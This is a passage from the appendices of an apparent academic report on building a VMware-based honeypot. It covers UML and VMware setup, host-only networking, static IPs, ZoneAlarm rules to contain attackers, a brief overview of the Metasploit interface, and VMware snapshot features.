compile UML on the computer. http://user-mode-linux.sourceforge.net/UserModeLinuxHOWTO-2.html#ss2.1
78
If you chose to manually install UML you must first obtain a kernel from
www.kernel.org. Then you must get a patch from http://user-mode-linux.sourceforge.net/
and patch the kernel that you downloaded. Make sure the kernel and patch that you
downloaded are compatible.
If you use emerge in Gentoo, you do not have to manually download a kernel and the
patch. You will have to follow the instruction from the documentation above to install
your guest OS.
C. 1: UML installation
Now, you must install guest OS in UML or you can obtain a precompiled OS from the
following web pages:
http://sourceforge.net/project/showfiles.php?group_id=429&package_id=472 and
http://user-mode-linux.sourceforge.net/dl-nl-linux.html
If you are using the precompiled OS unzip the root_fs file by using the command
“bunzip2 *.bz2”. This will give you a new file in the current directory. Rename the new
file to root_fs and then run linux ubd0=root_fs, in the same directory, to load the
precompiled OS using UML.
79
C. 2: UML execution screen
Once the OS loads you will get the UML virtual console screen.
C. 3: UML Consol screen
80
Appendix D: VMware Design
D.1 Installing VMware
The installation of VMware is straight forward and can be found on the VMware web
page: http://www.vmware.com/support/ws45/doc/install_win_wsa.html#1025548
D.2 Network Setup – Internet Connection Sharing (ICS)
On the Host OS, use the following commands to start the Network Setup Wizard:
Start  All Programs  Accessories  Communications  Network Setup Wizard.
Since our host computer is the one connected to the internet, select the first option.
D. 1: ICS setup
81
Select the device that connects you to the internet, which is your real Ethernet adapter.
D. 2: ICS Adapter selection
Choose to configure the connection manually.
D. 3: ICS network connection selection
82
Select VMnet1, which is the default VMware Host-Only connection adapter.
D. 4: ICS connection to bridge
After you completed the Network setup on the Host OS, now it is time to configure
VMware as host only in order for it to work with Internet Connection Sharing.
D.3 Network Setup in VMware
Since I am going to set up a Host-Only network; in VMware I must select the
Host-Only connection type, to do so go to Edit  Virtual Machine Settings. Select NIC
1, and choose Host-only: A private network shared with the host.
D. 5: VMware Host-Only network
83
In addition, I need to disable the DHCP and Nat services in VMware so it would not
conflict with the host OS services. Remember, Windows XP Internet Connection Sharing
(ICS) on the host provides me with those services. To do so, Edit  Virtual Network
Setting, select the DHCP and Click on Stop service and then click on Apply. Do the same
in the NAT tab.
D. 6: VMware disable DHCP
D. 7: VMware disable NAT
84
Now, when your OS loads, you will have access to the internet from the Guest OS.
D.4 Setting Static IP address- Guest OS
Gentoo:
In order to avoid manually configuring the IP address each time, a static IP
address must be assigned to the Guest OS. To do this on a Linux Gentoo machine, edit
the file /etc/conf.d/net. Assign the address as shown to give the Gentoo guest an IP
address of 192.168.0.206.
D. 8: Gentoo static IP
Redhat:
Redhat user must edit the file /etc/sysconfig/network-scripts/ifcfg-eth0. And set
the values as shown to assign the current machine an IP address of 192.168.0.110.
D. 9: Redhat static IP
85
Windows XP:
Start  Control Panel  Network Connections  Right Click Local Area
Connection  Properties  Internet Protocol (TCP/IP)  Properties.
D. 10: Windows XP static IP
D.5 Setting Host OS IP Forwarding
To enable packet forwarding on the host machine do the following steps.
Start  Control Panel  Network Connection.
Right click your Local Area Connection and then choose Properties.
D. 11: IP forwarding selection
86
In the Advance tab choose Setting. From the Advanced Settings screen you can choose to
forward the different services request to your different local machine. Note, one needs to
make sure to put static IP address for each of the services.
D. 12: IP forwarding configuration
87
D.6 Installing Firewall
In order to use Zone Alarm Firewall, the built in XP Firewall must be turned off.
Start  Control Panel  Network Connection. Right click your Local Area Connection
and then choose Properties. In the Advance tab uncheck Internet Connection Firewall.
D. 13: Windows XP firewall disable
Download and install ZoneAlarm Pro Firewall.
http://www.zonelabs.com/store/content/home.jsp
Once installed, under Firewall  Main tab, disable the firewall. We are going to
manually set up the firewall.
D. 14: ZoneAlarm firewall setup
88
Under Firewall  Expert Tab  Add. Under General make sure to select under Action:
Block and Track: Alert and Log. This will block all traffic specified by the rule under
Source.
D. 15: ZoneAlarm rules setup
For my setup I want to prevent the HoneyPot machine to access my Host OS and prevent
an attacker to stage attacks against other machines in the real network. To do so I must
edit the source and destination rules so I can configure the firewall to block all IP address
from a certain Source. Under Source  Modify  Add Location  IP Range, input the
IP range of your HoneyPot machine. Under destination make sure that Any is set. After
this rule is applied, I have configured my firewall to jail the attacker inside the HoneyPot
machines.
D. 16: ZoneAlarm IP range setup
89
Under Program Control  Main, set Program Control to off.
D. 17: ZoneAlarm program control
In order to view the log of ZoneAlarm Firewall click Alerts and Logs tab and then select
the Log Viewer tab. This will give you a log of the connections. By enabling the logging
feature of ZoneAlarm I gained additional information, aside from Snort and TripWire,
regarding the protocol, source, destination, etc of packets that are coming in and being
sent from my computer.
D. 18: ZoneAlarm alert and log table
90
Appendix E: Metasploit
E.1 Metasploit Framework
Metasploit Framework is a platform for developing and using exploit code. The
framework provides the exploit developer and tester an interface which is logically divided
into global and temporary environment. Metasploit comes with twenty two exploits and
twenty seven payloads. Once the exploit is selected the environment can be set up. The user
can choose to configure the three main sections payloads, options and targets.
The following screenshot displays the features that are available after the user selects an
exploit. Some of the key features that are used to set up an attack are set, show and exploit.
E. 1: Metasploit help
In the payloads section, the user is able to choose from among the different shell codes.
E. 2: Matasploit payloads
91
In options section the user must configure the IP addresses and port number to use.
E. 3: Metasploit options
In targets section the user can choose among the different machines.
E. 4: Metasploit targets
Appendix F: VMware Features
F.1 VMware Features
VMware comes with various features which makes it an ideal virtual environment
to build a HoneyPot. One of the features that are available is the ability to copy and paste
the image file on the host OS, and then load this file in VMware to create a new guest
machine. This feature is extremely handy in building a HoneyNet. First, the administrator
does not need to install the OS and different application for the second time in order to
build additional HoneyPot. Second, if a HoneyPot system is compromised, all the
administrator needs to do is to rebuild the HoneyPot with the saved image file.
92
Another feature of VMware is the Snapshot and Revirt features. The Snapshot option gives
the administrator the ability to save the current configuration state of the HoneyPot
machine. And Revirt reloads the saved configuration to be the current state.
The first figure shows the screenshot of the snapshot that was saved, and the second figure
shows the Revirt stage.
Snapshot
F. 1: Snapshot in VMware
Revirt Feature
F. 2: Revirt in VMware
93
The way that Revirt in VMware works is that it stores the changes to the disk since a
snapshot is taken. The changes to the disk are stored in the REDO files. VMware will use
these REDO files to restore the virtual disk to its original state.
F. 3: REDO files of VMware
94